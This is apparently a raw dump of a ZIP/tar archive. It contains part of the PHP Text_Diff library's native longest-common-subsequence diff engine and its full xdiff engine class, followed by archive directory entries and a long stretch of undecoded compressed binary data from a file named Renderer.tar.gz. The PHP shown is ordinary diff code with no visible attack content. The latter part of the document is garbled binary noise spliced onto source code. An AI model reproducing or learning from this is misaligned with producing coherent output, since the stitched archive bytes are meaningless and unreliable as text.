        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $line = $from_lines[$xi];
            if (($this->xchanged[$xi] = empty($yhash[$line]))) {
                continue;
            }
            $this->xv[] = $line;
            $this->xind[] = $xi;
        }

        // Find the LCS.
        $this->_compareseq(0, count($this->xv), 0, count($this->yv));

        // Merge edits when possible.
        $this->_shiftBoundaries($from_lines, $this->xchanged, $this->ychanged);
        $this->_shiftBoundaries($to_lines, $this->ychanged, $this->xchanged);

        // Compute the edit operations.
        $edits = array();
        $xi = $yi = 0;
        while ($xi < $n_from || $yi < $n_to) {
            assert($yi < $n_to || $this->xchanged[$xi]);
            assert($xi < $n_from || $this->ychanged[$yi]);

            // Skip matching "snake".
            $copy = array();
            while ($xi < $n_from && $yi < $n_to
                   && !$this->xchanged[$xi] && !$this->ychanged[$yi]) {
                $copy[] = $from_lines[$xi++];
                ++$yi;
            }
            if ($copy) {
                $edits[] = new Text_Diff_Op_copy($copy);
            }

            // Find deletes & adds.
            $delete = array();
            while ($xi < $n_from && $this->xchanged[$xi]) {
                $delete[] = $from_lines[$xi++];
            }

            $add = array();
            while ($yi < $n_to && $this->ychanged[$yi]) {
                $add[] = $to_lines[$yi++];
            }

            if ($delete && $add) {
                $edits[] = new Text_Diff_Op_change($delete, $add);
            } elseif ($delete) {
                $edits[] = new Text_Diff_Op_delete($delete);
            } elseif ($add) {
                $edits[] = new Text_Diff_Op_add($add);
            }
        }

        return $edits;
    }

    /**
     * Divides the Largest Common Subsequence (LCS) of the sequences (XOFF,
     * XLIM) and (YOFF, YLIM) into NCHUNKS approximately equally sized
     * segments.
     *
     * Returns (LCS, PTS).  LCS is the length of the LCS. PTS is an array of
     * NCHUNKS+1 (X, Y) indexes giving the diving points between sub
     * sequences.  The first sub-sequence is contained in (X0, X1), (Y0, Y1),
     * the second in (X1, X2), (Y1, Y2) and so on.  Note that (X0, Y0) ==
     * (XOFF, YOFF) and (X[NCHUNKS], Y[NCHUNKS]) == (XLIM, YLIM).
     *
     * This function assumes that the first lines of the specified portions of
     * the two files do not match, and likewise that the last lines do not
     * match.  The caller must trim matching lines from the beginning and end
     * of the portions it is going to specify.
     */
    function _diag ($xoff, $xlim, $yoff, $ylim, $nchunks)
    {
        $flip = false;

        if ($xlim - $xoff > $ylim - $yoff) {
            /* Things seems faster (I'm not sure I understand why) when the
             * shortest sequence is in X. */
            $flip = true;
            list ($xoff, $xlim, $yoff, $ylim)
                = array($yoff, $ylim, $xoff, $xlim);
        }

        if ($flip) {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->xv[$i]][] = $i;
            }
        } else {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->yv[$i]][] = $i;
            }
        }

        $this->lcs = 0;
        $this->seq[0]= $yoff - 1;
        $this->in_seq = array();
        $ymids[0] = array();

        $numer = $xlim - $xoff + $nchunks - 1;
        $x = $xoff;
        for ($chunk = 0; $chunk < $nchunks; $chunk++) {
            if ($chunk > 0) {
                for ($i = 0; $i <= $this->lcs; $i++) {
                    $ymids[$i][$chunk - 1] = $this->seq[$i];
                }
            }

            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $chunk) / $nchunks);
            for (; $x < $x1; $x++) {
                $line = $flip ? $this->yv[$x] : $this->xv[$x];
                if (empty($ymatches[$line])) {
                    continue;
                }
                $matches = $ymatches[$line];
                reset($matches);
                while ($y = current($matches)) {
                    if (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                        break;
                    }
                    next($matches);
                }
                while ($y = current($matches)) {
                    if ($y > $this->seq[$k - 1]) {
                        assert($y <= $this->seq[$k]);
                        /* Optimization: this is a common case: next match is
                         * just replacing previous match. */
                        $this->in_seq[$this->seq[$k]] = false;
                        $this->seq[$k] = $y;
                        $this->in_seq[$y] = 1;
                    } elseif (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                    }
                    next($matches);
                }
            }
        }

        $seps[] = $flip ? array($yoff, $xoff) : array($xoff, $yoff);
        $ymid = $ymids[$this->lcs];
        for ($n = 0; $n < $nchunks - 1; $n++) {
            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $n) / $nchunks);
            $y1 = $ymid[$n] + 1;
            $seps[] = $flip ? array($y1, $x1) : array($x1, $y1);
        }
        $seps[] = $flip ? array($ylim, $xlim) : array($xlim, $ylim);

        return array($this->lcs, $seps);
    }

    function _lcsPos($ypos)
    {
        $end = $this->lcs;
        if ($end == 0 || $ypos > $this->seq[$end]) {
            $this->seq[++$this->lcs] = $ypos;
            $this->in_seq[$ypos] = 1;
            return $this->lcs;
        }

        $beg = 1;
        while ($beg < $end) {
            $mid = (int)(($beg + $end) / 2);
            if ($ypos > $this->seq[$mid]) {
                $beg = $mid + 1;
            } else {
                $end = $mid;
            }
        }

        assert($ypos != $this->seq[$end]);

        $this->in_seq[$this->seq[$end]] = false;
        $this->seq[$end] = $ypos;
        $this->in_seq[$ypos] = 1;
        return $end;
    }

    /**
     * Finds LCS of two sequences.
     *
     * The results are recorded in the vectors $this->{x,y}changed[], by
     * storing a 1 in the element for each line that is an insertion or
     * deletion (ie. is not in the LCS).
     *
     * The subsequence of file 0 is (XOFF, XLIM) and likewise for file 1.
     *
     * Note that XLIM, YLIM are exclusive bounds.  All line numbers are
     * origin-0 and discarded lines are not counted.
     */
    function _compareseq ($xoff, $xlim, $yoff, $ylim)
    {
        /* Slide down the bottom initial diagonal. */
        while ($xoff < $xlim && $yoff < $ylim
               && $this->xv[$xoff] == $this->yv[$yoff]) {
            ++$xoff;
            ++$yoff;
        }

        /* Slide up the top initial diagonal. */
        while ($xlim > $xoff && $ylim > $yoff
               && $this->xv[$xlim - 1] == $this->yv[$ylim - 1]) {
            --$xlim;
            --$ylim;
        }

        if ($xoff == $xlim || $yoff == $ylim) {
            $lcs = 0;
        } else {
            /* This is ad hoc but seems to work well.  $nchunks =
             * sqrt(min($xlim - $xoff, $ylim - $yoff) / 2.5); $nchunks =
             * max(2,min(8,(int)$nchunks)); */
            $nchunks = min(7, $xlim - $xoff, $ylim - $yoff) + 1;
            list($lcs, $seps)
                = $this->_diag($xoff, $xlim, $yoff, $ylim, $nchunks);
        }

        if ($lcs == 0) {
            /* X and Y sequences have no common subsequence: mark all
             * changed. */
            while ($yoff < $ylim) {
                $this->ychanged[$this->yind[$yoff++]] = 1;
            }
            while ($xoff < $xlim) {
                $this->xchanged[$this->xind[$xoff++]] = 1;
            }
        } else {
            /* Use the partitions to split this problem into subproblems. */
            reset($seps);
            $pt1 = $seps[0];
            while ($pt2 = next($seps)) {
                $this->_compareseq ($pt1[0], $pt2[0], $pt1[1], $pt2[1]);
                $pt1 = $pt2;
            }
        }
    }

    /**
     * Adjusts inserts/deletes of identical lines to join changes as much as
     * possible.
     *
     * We do something when a run of changed lines include a line at one end
     * and has an excluded, identical line at the other.  We are free to
     * choose which identical line is included.  `compareseq' usually chooses
     * the one at the beginning, but usually it is cleaner to consider the
     * following identical line to be the "change".
     *
     * This is extracted verbatim from analyze.c (GNU diffutils-2.7).
     */
    function _shiftBoundaries($lines, &$changed, $other_changed)
    {
        $i = 0;
        $j = 0;

        assert(count($lines) == count($changed));
        $len = count($lines);
        $other_len = count($other_changed);

        while (1) {
            /* Scan forward to find the beginning of another run of
             * changes. Also keep track of the corresponding point in the
             * other file.
             *
             * Throughout this code, $i and $j are adjusted together so that
             * the first $i elements of $changed and the first $j elements of
             * $other_changed both contain the same number of zeros (unchanged
             * lines).
             *
             * Furthermore, $j is always kept so that $j == $other_len or
             * $other_changed[$j] == false. */
            while ($j < $other_len && $other_changed[$j]) {
                $j++;
            }

            while ($i < $len && ! $changed[$i]) {
                assert($j < $other_len && ! $other_changed[$j]);
                $i++; $j++;
                while ($j < $other_len && $other_changed[$j]) {
                    $j++;
                }
            }

            if ($i == $len) {
                break;
            }

            $start = $i;

            /* Find the end of this run of changes. */
            while (++$i < $len && $changed[$i]) {
                continue;
            }

            do {
                /* Record the length of this run of changes, so that we can
                 * later determine whether the run has grown. */
                $runlength = $i - $start;

                /* Move the changed region back, so long as the previous
                 * unchanged line matches the last changed one.  This merges
                 * with previous changed regions. */
                while ($start > 0 && $lines[$start - 1] == $lines[$i - 1]) {
                    $changed[--$start] = 1;
                    $changed[--$i] = false;
                    while ($start > 0 && $changed[$start - 1]) {
                        $start--;
                    }
                    assert($j > 0);
                    while ($other_changed[--$j]) {
                        continue;
                    }
                    assert($j >= 0 && !$other_changed[$j]);
                }

                /* Set CORRESPONDING to the end of the changed run, at the
                 * last point where it corresponds to a changed run in the
                 * other file. CORRESPONDING == LEN means no such point has
                 * been found. */
                $corresponding = $j < $other_len ? $i : $len;

                /* Move the changed region forward, so long as the first
                 * changed line matches the following unchanged one.  This
                 * merges with following changed regions.  Do this second, so
                 * that if there are no merges, the changed region is moved
                 * forward as far as possible. */
                while ($i < $len && $lines[$start] == $lines[$i]) {
                    $changed[$start++] = false;
                    $changed[$i++] = 1;
                    while ($i < $len && $changed[$i]) {
                        $i++;
                    }

                    assert($j < $other_len && ! $other_changed[$j]);
                    $j++;
                    if ($j < $other_len && $other_changed[$j]) {
                        $corresponding = $i;
                        while ($j < $other_len && $other_changed[$j]) {
                            $j++;
                        }
                    }
                }
            } while ($runlength != $i - $start);

            /* If possible, move the fully-merged run of changes back to a
             * corresponding run in the other file. */
            while ($corresponding < $i) {
                $changed[--$start] = 1;
                $changed[--$i] = 0;
                assert($j > 0);
                while ($other_changed[--$j]) {
                    continue;
                }
                assert($j >= 0 && !$other_changed[$j]);
            }
        }
    }

}
PK     |\@[    	  xdiff.phpnu [        <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the xdiff PECL package (http://pecl.php.net/package/xdiff)
 * to compute the differences between the two input arrays.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Jon Parise <jon@horde.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_xdiff {

    /**
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        /* Convert the two input arrays into strings for xdiff processing. */
        $from_string = implode("\n", $from_lines);
        $to_string = implode("\n", $to_lines);

        /* Diff the two strings and convert the result to an array. */
        $diff = xdiff_string_diff($from_string, $to_string, count($to_lines));
        $diff = explode("\n", $diff);

        /* Walk through the diff one line at a time.  We build the $edits
         * array of diff operations by reading the first character of the
         * xdiff output (which is in the "unified diff" format).
         *
         * Note that we don't have enough information to detect "changed"
         * lines using this approach, so we can't add Text_Diff_Op_changed
         * instances to the $edits array.  The result is still perfectly
         * valid, albeit a little less descriptive and efficient. */
        $edits = array();
        foreach ($diff as $line) {
            if (!strlen($line)) {
                continue;
            }
            switch ($line[0]) {
            case ' ':
                $edits[] = new Text_Diff_Op_copy(array(substr($line, 1)));
                break;

            case '+':
                $edits[] = new Text_Diff_Op_add(array(substr($line, 1)));
                break;

            case '-':
                $edits[] = new Text_Diff_Op_delete(array(substr($line, 1)));
                break;
            }
        }

        return $edits;
    }

}
PK       |\Eћ      
                string.phpnu [        PK       |\S  S  	               shell.phpnu [        PK       |\'5>  >  
            a5  native.phpnu [        PK       |\@[    	            Lt  xdiff.phpnu [        PK      &   }                                                                                                                                                                                                                                                                                                                                                                                                                                        Renderer.tar.gz                                                                                     0000644                 00000462366 15217301643 0007464 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             	<8۲%J"ƾ}}c03c)=$$d)[քER(!9Uy߯ޏS3˹{9瞻@QH4B<7ñ>$ُ$𑓑a<𑖖H¤%`R@,L"㇟`fF]051@>0P|evSzRRr!L>w<{=$] t޵"㩗Wo(j
5M'Ҧϊz[*VpPm+VȷqBiY>&3g2_kk
Ŀ}3vwצ7ԏ6m(_kULQ<@e9i;r&}i)mF#.-
I-Wğ7'2q#O5Pǎ_Ok|dAˆl˴Y3[<ٱ^wa>Y˳O挍]y+Û`zG]wڱ0J[*
 '0씗R+,biG%^tVGxȾؾ$׷8NO0Eb/IΩmͯoF.O,0Ks(WzvwxqLDڗL}?ͯ;qGDи}N8*2?<Vە 1p}PMzFCb4p%V[mX3G4~͝O}hSܧҏxeߔ1_lh>n8&'`Tٴ3w/"NiO5&t+lsv&S^_v.'s[gNj@9_2/tJ|3 P9%a(e{4{z&#)FsxN2>zCƴ5a^7xS`"3]S.3MǊz;	*an^J-͑KݣWTħ\ێ>R_{~c6e-'׊e}{-:vK 6'#G8Jɜgx}7tu*-"9-?wRו )-(>17ќM!G=2}Vq1NAdb/Mt9˝POGj<{ 9S#)Yz}ҏϥoz̨8笟{mYmѮٹFyo{>.2'A=[q
^;+G/湑xi|GE)6wGgCoK7;xDRf$'p<)*g]脽e49uC0%>h.KΞY'c_QiaGY$,Ͼ*ԻȢCIOj/YN("6V4٧$ɥw7
c6qi[s>]7ۯ\Q+wL-)s;Z'Z3 $m\%M$C˲h]G>}Z?C=<Mۂ㱕OzQhtlk3v>+e<9vDsR{`[`Qvi'mn=Nmd.ox@ٱi]T*+3*1!ζ⢑Փo۷~tپBRtKhIqUMr`h-m6C܌ǆ*M(sTdW2%O&ZpT2\2Ky\bCe¼4%q#Iڥ'|qkv9er,M-s^;r$(Mą]LGow,xuelp߶Esw^Hx`%ߧ=.5Z]G<:maີ@f[Ei)]'[	喫B>	`{ ~Ҥ({*ڮ^,UxݓN.͆8R?>y;I	NyWOx[?Y99i?0els|BGc4WX^m~cEChE>է7@3{2WS).-8&|5Mvv*Ӑm6Տ43ߪc^mw] )7C.N9'45ekuejNB9ES>?Qg;HYlɽ5C/y^eB~W9M^NV7V?^.{lmޯ"/|9̻,7%ݾ?Wj>n{7-/-`?L/U/?כn_t["zˍ+7Xp=s{Bn~W
/*~twK럨H>UG7|&yR
ׅa꽔j_.Fubo޽;'bV-zyca{^Ełn{ǿNoFb>n/)7$"'{~1G!*EyIdcL_E})sϑ<6wcM9sՂlOnd__f>sDt/ˉf/[؋\1F쟇>F[ͺ:%罯RO˅v1.p}<ϒ%g92gՔwdTD~eMcޠXMfZǤgT~mYccdȣMuf/n}awP7Uٺ$Co=vVm%/Blc=N~$1i){
⌟:R^oz`|h`B<zfk/2nEe5(f
ѽsgW^}Nd3A3;(pP2Bߓ"OYБn9a^ot/#֍MS!HLi4'$^<wjpom9T(VՊܘD\(;}zC2ovCWMCJ]8F_S^ndr\ɖS]A%ýbw:uStD׾-)횡r2yR0ĐɄrp2/RqLRpzOr	R(>g2ϔUݼ^uJ~;ǡ3HER5XC`ɌAՑ_2j$6_ip*ώb0THU;f(Z+ejzg+uC"&[O2;mU`"^#gZj~!=oO_ޔ
yԈK㞟2*u.C8ݶ3ϴ;UGM252iҏG?uuQHRʝ̴E2_HHk
?RC՚Ԧ)-6˸ܤ8CĶ6ҩ?oP<=<Us|y!\̚;fl)EUIަ-Poz<ò0ؗMBd<LM$Ӯe<'?<'{]x Y/ju'aSebsJ˞[-3\l:g>!Q?ûK<Fg_Q?䌈m&2^c6
yh{h^ֳG_߷W##aNRr'r>,=,&Ju^ӤYA~u;6mLPAW䠼AMgOGQkԈIuد	A?wxצ:l^]dGĭԪYAB4b9:P._}3zKΎq|pHPAriRCDJcf6mKr(Otj:S;D+2*卆o')M&Jw`?iEm6d6ɖ>QE$.gsR#1I7KJt+NōMg+t=sqgtfGucԺE6|U>oOUr)Ƃ"tD>zk3~d5m8q%]s&DpFg{u#ﾓ,EZq[Dd}}ܘC#:$9&w	b*Z!Fŗ\-e.'M&iԜ4zp%2v|37yhq: ?zmcN	-yGb	[zwBky1zH*#TC]?FC?4&<}T"h`Lт̟.,2mT6ˍ*HI^*VUOSځu`ʕ+'	*!N;ib@&DuS:i#5颊/fK1|]>EHD>t;xM⚣cl |nA#9ȍwvFA*} !?vy4Hkpo͎Iwu{ZNKcWKzc\^K=fYKf%nt-81sf9zY;%>^8*c)ּФ~z/#Sѽr:攭xelIUQɌ}	6ilAmKz g}azbѷn*1BdGX8//޶҉n<^B"VY$6Y8АL=4v5.#-+\&Ee2|[(F|&E^K$/K}hj[_nAW9$ѷ畵yKzvTMcl4Ǘ	eAe$Uy3Vy-୉<]KsmL \!Y3_:&'vL_-JFϡgc"b*ѱoT'|[	ߺ|9Խ>|˿(_yt*}wF7	[nNgj5ׄ~1Cvj-{bi]4V*&CN^(c5cYR!;~dRìU[zS:P~RfIA?.#V*L/5|_d[ۉt~ͣۼs;5_"gziZ	rskjѩlTlRcU>!IB왷LRs'3N2SOӤk6S4P{2~9T.h7D{u!(y^q-=;+{D9.d^k.ylNOHXLvb*0I\>[d3ih	#PGsf0JZW$qʗuDeD+s}Zۏ/|SSfmsscJBSkZguۼngȪxt3Ý\&~5%)j_Mx-
I/BOGִ4ƕ@oS;WRp0da;dif0;ޙ5W]J&axx&||ђܖ9eH(f_cgXk˗4KP=MF$^1AWK0Otak`1lUm%SRiÎz̔w!1S[RLoK{NմFAum1M-|[3OVAoը^̣_LYXbIz"vx7EʆWfΔ\}`mJ9kzrEx#fMs<G*Apgo✉gC轹?h>T^op.y.n1ǡcS~H3ɵqyIa&^v
_)||׺d0O'0쎷ى{*+WrJ>G'{<"L-`Ϩo(}=>PjKɣHU;繎6-:9د{<W7xk_[幚Vi\wDr8H9q],аnCړN,MI,ϼVfaш9Z'v,`XqBkŤtUG1րg4zE;FS-0zrWGNO>o!CYEiҝբM'ޙBv2qФή9!EQŞt|qQxӾ$oKҮ):>VZCN/}~:wũvTAՙ2UNבw|>}9.D[Rj>JS_>s#Pǻ|p6KC|LW*:a]/9h.PX>t`uYA2SF]<	)[sNDÐe;$G$b^1b*MqjH-<.QdMh-~³MΟg6V>Jx}}˻-$༭~̋rJG|V]PyAyc	&*a1=b[+Ń'v09DW¤e5x@fwipu~K6<g-.dUj/ţc_5K؎#:uH>Cc(X5!A#_ViCٍ3oæ4tALꨏѸs*n~O#t%Z~Ze搜O/Iu{̈.fV"xqpLQqyAlׇ>b󧉔=:Cg4[}twsG$	>	DAƬƃIN_r?Ԧ^cߧ., {+ґWӐǮ6T6xKdVE;H=8K:\'qk@sf*}\%T,>޷OE84?F߰)/H_:D㈛2 	ps&+$]]f=YF{$+HN4-Th-a{rX@)&ѯָы l	?l+&q[v&1⦛j2Mia$|4Չd-;s81I\/^Kyd.0zQ-*WiH[/$>վ&+]^KԖ[xkǶsi6ylrXwQ訒6
*CJǄ6e$kɖin
WzXSb@y\}EZl; 1}Ui8-swz)aR>/YF{ؒ.M3iXWmw.,Vn- 1eH\M7/"M~Ƽib9(8ȣ^Sˌ=3]k'y߅YGL~Hx_G5)?û#2#!q^sP;tݎAۅ{#<=d,v_igN*kn[>h|VGz3glGuW\&V!TKb_Yɸ sq׶ߧl是}ϖ<Rz`<TcR>5nvc>nNjT/uҼpTB`J<ҥ
ZdZ.=p{c9CF95wuT(Zu\ڐZjؾ Q_BīLh}N0d|^OBU3d0uM/Hӊ:D.nY4.V7yCj-H.Dd<u9[XcDؗ{ӑM.AsqŢ!TY.w])8ӱDHЏ'[c5t]R4&77(5wȒս|AT}VȻs%ۈ}>}I*PVKTQ^miF^ߠ
87陒d}Ǌ;F_3QIGߦz7oR<>.ّ4t1qiSS*TC.M˕4>|z:RzKR1rD2k)S	Dڅr>#I~W\a	Z_*9jUzxtH{a/89ZlV(ihLҴ7|\]4)g)F)6Ψzuu7YdyTEn/l˹B]< Wi|j1bf|E ~<mdR$GgN{V:ILmv!S-XLoV7Jig4ţ'*swΒVfN&g,d1D}YEmFf-ʩGRbP,e羕V?g~Ö,*Me<ɞ~/謁+7rn}ynx&ȰcNv9~-|hi2ڔS#G1ɔ!gIpk+kYv+=yt<AoL@Χpjtkqǂd=UUvG%bL-EԱqzu^U"EMһ]<nhƬFj3ouy8,aGN%hHt	\(jXt110ISs3ة-"Iyk8=p?Yz9i=wl6Aa)](-Uɖ&mN{T66i:eu6d@2u%	#i>4܏Qʆzxg.e)3`'MwnY ɚ=L+{q0l%\nx=o_.~wk/iI?/m@5ײ A}e òf,J;)5If.5eOHotK-մt7lk&N3"M)Q|M0ct7k]ȱB ݌.NO{G<Hԯ-R.IG	n?y2-v\䣅w
d_8羥ZPYvSCgT%I/1^tۿS6Gv3V?lbGȥTMSb1G7\nV{#U{+Mz_˷'I7xʱy츫C^ڎgI&&u^U$4Rs^[SܫFEF{no0HCNUv)rot.'tM+`ǚr|Iwq%i_ù͋&O}ODeFA]Mmpܾs[Bkk1O(/+T&GK4aFtAf:n,%\uxFA~7K$meOdQ@ԛFvq멤\TtQ]]l-NRŽTD!kCjgr뽜6L#F( qoT\7+Rܪ}2	Qb26-)Kv:&,{1L-_z=|bN<QSTq_,C;_d\~y|^CT!v5kǾTzt~x1nkł^ȗ{P}*n5s1WO_Qvk`7׳IYm,3;16(WjM?3K=Vg
}hf~/xJe0e% /,)5 C:']G@d҅+1<嗏:m\X9ݴ'nUS{ș!xAsҒHqgdNȪ-6ۓHU8F%Fy>͸2-PjKcȫe&Iu5X;.Z
ivVLog8&/~l0vrd<,?࣓Flz8{l|Mv2ʮ>n#wTOu=Q8Xr8%4aGCB[_ʥ]9W^twj&鑊&c\}msu_Ds$}S\,zPǚs5*8Ǝ 2(͇/jl+v~)PkRN\'!9ܶt0|^63#4,؞Zp74Z#X&Y<Oΰ-2GHpM?u EPj+U#'zZ^`яvsEKf
hOQWDӿ	pke@[}	Ls= Yb{\j׶3Уs'ulOөҟj]SXFZK):kUk1]/YbpR\˾/cA٭P%ًdYb2VNT[FMӎ<b\hz'66CBg+1G
[x955]]zHG#ob8B/DHL}xsMIz[khG>Odh^~|DmQT+OԄa[ܙKwR˼mVy)'^<An\.ﾏ&.A2OoSllvQ킾*->SmG7`;ZnR>Ɯ5Ϡ1E^ҲζGs>Qr~6"FAA-n+8sLׇhF٦Gou;UCGo:R(1$;GJ>F:OO]OKm']ʱD+]ɩ:|JLٛ8ǥÇdx,{r)o]z遛pϔqijbhcjoNz7-=yVէk//Pwe>~q'B9SdOp+fI;,5#,4[Yk1&N~ys\Dy)4){QMiγd_w>C{έU8s某h$0Y	~~-'mRS4x]2}a)K)0hhv0|rP,;Z_q!e~7-3}>[-5/$]ΧD]Hlmtkd%cCMe"J7~ێ~(	Ӳw墿Pۥ4/oT˯@#:yUC;y}gϫh)9U^tٮ5m[49nq[R[qw˫rPrIus>'s3÷ħ-j):͘lsO?<A}R~󩡉rv#,Jk|#V4ps˔Bư 59=N=5['[{EͽS{z292%GT>H}qJ'4sH^zr'沧#TiޔPiy=Ä3DeQ5J?1(ՙd1+g:[o{DHۈw@ϩwp<uVG:;Od0askBy<i|r.o3:\2P(?rW5&SۜvUWnىu6{H)m1M!v	]u1z[]IUÝfCXJ򨐳0UԘfEK\0)gCM';ZKetF[eh_v>;xٸܽ-t;JU^~#jv\dVe4𒟠#jHv1λm}iEwZ;%RKvwץ:~*q%r;c-WVt"Eo~ѪFN)`.&kT.2zε禔Je lC8)P˥zٲ'$ǋOY<+w|Au4Od,˓Ujɔlh>8'x>}+)Cfԕ6Qjܮr7lwB#1CqT=-mq!B1B28o_HG<+8~}.O:zvWL`dBnh-^ogam-&MYgvLIRզRz!gwYir[!gh{f=Kѷ^f2qϡJ݉"~ʴ 3v<փ=r39eӚ5؁Hi	/AEJ5ζ_*JLp#)e7gnD1Iދ<R~]ȋsBҴ[^ޝfk$h`-j()8Pl l))+Y2Ŏv&on>D]>{uJm#934Cm}LK8$v݅÷DO۽S=5`G	]ޓ#{(g~ďg]=+%1p˝E'!% Iܦ$Ji|^zApU[Uvw.x;-ٛڵB/yϮUH#5V\>./em+O<E.Vqc5k0>igO˯߯}nls~ODo1nK5E.PIKXz:2"XE޲dwלߊ}y'Yq񄇇n/_Ⱥ2yc;{|
{Իƹhƞo[],Ko`(cU0'ۧ菖6_\kYh0E$i7ؼ>p.ma?=fd|辺L!-o\OxT_O6:ABEf~YRѹt^bt魞񓯺;zkV]ϺYg<v=D0Hs%,g6cd-&cGuȜ-no(v?*Sh>?a@p7ɚ>poгSuZ>?M9la7H[nup?2yqz$&QSUʈ;U+'B{xmq!l~	SI+;:Q-~gQ1G%h|5tŸHĮsl%ڜ&lGc<|rqOxG#$'ۍ*L4JՎailCw
1,QMU7g7rE-j뙤F:%pOgnk!sc`*XK뼔%:PavN'ԸG}u詤ޖ=%ЏpJ*[zA˞MQm,^|QI2ꦡV-A;"F7ުB uQz܇*6eFcђ81lF<I'g>0yQw*ư
mx1AIY77,}`dHÃ%㡬1׺'ׄ)2ERiX0=T.rGOVM#z.^= 恟6[2VAa{GN{4<aҖƟgFU쎨aɐQ?|{DIɫ^JTҗ-n-}u0oass;##v)^3p|ԾT	SrwwmX-h`;I)^r̸T)[=H[ӱvZewf]2HJ"dg%T?ܨ.S%'+zoXn5K]-X\jj\W*Nr.Coп4sQ9|;Dā,i@Q+wWJ74YyQGKsQJ25FsgdWd{]Ֆ0dd^3ʻn;؅pzӣz~ӨvKŻg'f<D=f>}dZ3'S_vK1D{3o,=^{yg#!z_ΥW%<Z* ]/X4] =ݛNFo-NejTGR>Ybsu
י;J\.6|T=qkZ׽V=l;%qGo9'IȠnooaN2Nߗ!a㥘o|+1Yd)U';%={)5K-5/vޥg(^R)xy{3D_c-Xyu4q9cw,?rNt2 6>q&Y_Nn~}N֘3=us\9SzbDL>>J17y}UCѧɿD˽?:peL` h+L8=jrGs0`s{Lzғ7?SPfOnb\{k^E!%,C&k67u_ɆQ_olFww?d
4KL)ﾛGז~HJQϤ]à܀l#fXE*+b-!Y戉$7Fu~HѩmM4
&Qӳ/s/ܭBb.p#ks&=}NfeíTSz6e!GQ[۰;&'VIQu([>Pʀa]QiI9=U9$濾y_Tl%lE{UYE|ǭ+14
C'f!wDtwO?<wƼPc҇ӡ%h#~B$+Ǭ)G-B?Mwf=.taڵ#J_;#3};"X˹O6_^8LN:ΔIl^Qyw1M3~i%wM|MUT״$ΆXN:4wɶj+ιQ|RY'2DR{Fi<;vtsM=מG/N<ߧV(ה}G4Dq촮1Rtq
|\aY'rmJ=613N5>4	4dtŽTv;U#gƯ?dim\P=ኑ(4.yo搎fjm|[<W
"EkT=2NVh%dq*!:PMyl=C齉"w^enΑ!eq2̮뎾#w"\+,vU_d-Qdxn=y]cuy+_z1}ZfltףňM!wU¤MԸ}[A9+3xG6 [Q2A'[o;|;=K`d@owx>hYb4F/ڣr><-z2Qa>FġC&ar\@G#4ɵSԱk0m8:k\K6KW$<<&(SMoN#%FA}
Л}z(Vgf|Y?ry?sܭf>bfٜ_j&`nT/yD^|TH+gq#EZ%.<^TK_2]_3l9/[g&wb՜历2m
?۩t|:Y<$&k[jѻ]oOusI:A஢@/k:{	;*yzͲfI&e)7!TT<0IڷlUsݫT_m|QJΐz$TsG{^G.LTz}m0-hߦ9Ė(؇[s'50YN>87	JKPē]^/wؑz̏SFS2*_u]2ƵвлkՓ(83d=y'ݝ[*|Y{T錣IDK?)ʬ.RލY2y̲s;+͒JxpfsښׇKˍG]<ϚpLv13HwWFi5'Ze+kL%<w&wRr"JOX@Y5<1UF:}TO%[:ݷOAl7:.rh47A*#J(rq< ̃mGAJQ%\2Sjظ*\8Τ'yGC[SJ,?0~+GAoG:gZK.Q8 RPBJk0b"m{jǓ3u8WvƖI1޼竤IPu.¯WO(YzPDioqGXv[$)|.ۧJG3=SbsIHڸpP;qLgvD,o8T<707~6_O[*Qwމ{N].s)|[8a^Yj:$Uh_m<b߲` sw]f;%|xC2'wU5:/pHqb՟ٔk}2cށ	O|'#X$R$zOvFG$u/L~-Yxs!(,=ڍŹ.HC9{S֚o^ {iU,L_(K.5={.LD-}RH ̜`Y(0.WE!cw7{:37U;&n@ǒQϭ"[OQhk1h\P8rQoƘptQ1xÀ3I'署{B>D}"AhmN'%I85֝۟.GLIޤ}oaBIdNؾ>]層/CFJUJ:oꙹNilA	4eT:yyHc'lύ#|bi:y:]	qN}0/ԑ=nEU8Y=$VWLo
gR^?~[O(Z71#aj)X,PI\פCBMt,G\V_V>CDsbC&PZ3vd%r7i7uDX2$ܡZM9Z:'VT1#u|>"о3W}
+ݿ{6WCsv11sf<6pl"ǞӧE99'_(B|#>90W/k\t1a&Jj:ƸXOR5^ψn>9	d1"t^yHdC8Jq;uBf]՚lϴ#߰gIɾXiJkryl\ČLp9>!mb+:@0vLxs'L$gvoiz,FYBy:>\}^1b/P e$ߺCngMm.y}r<Y~|^p,=Հífyͨ>o3;xlf[덨5ߚǋfrbupalK͌u9n)ST+għ+~?Q^o>dgkx5Eܨ\s]:ZmLnp{yW9d.'"|dH51`/l^Bg&nEk˔R;)yzZ9z-Ub˧|{)̑~4dbx4KoDvA+l]4Q}1mL
Ik㉮=u߫*r'Ty(`TxuɴO?عS2$-9{OPR0=0ۖ6Չl{9zfSXNp;F~ߥ^Һ"f!%f̢/sd<eX?:_PoEQ
